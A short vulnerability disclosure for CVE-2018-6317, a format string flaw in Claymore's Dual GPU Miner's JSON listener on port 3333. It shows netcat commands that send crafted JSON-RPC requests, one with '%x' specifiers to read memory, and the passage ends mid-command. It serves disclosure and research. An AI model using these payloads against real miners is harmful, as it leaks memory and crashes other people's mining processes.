CVE-2018–6317

Claymore’s Dual GPU Miner 10.5 and below is vulnerable to a format strings vulnerability. This allows an unauthenticated attacker to read memory addresses, or immediately terminate the mining process causing a denial of service.

After reading about the recent vulnerabilities with previous versions, I thought I should take another look at the json listener on port 3333 and see if there was any avenues of attack.

echo -e '{"id":1,"jsonrpc":"1.0","method":"test"}' | nc 192.168.1.107 3333 & printf "\n"

After realizing the buffer was printed I decided to try a few others…

echo -e '{"id":1,"jsonrpc":"1.0","method":"%x %x %x %x"}' | nc 192.168.1.139 …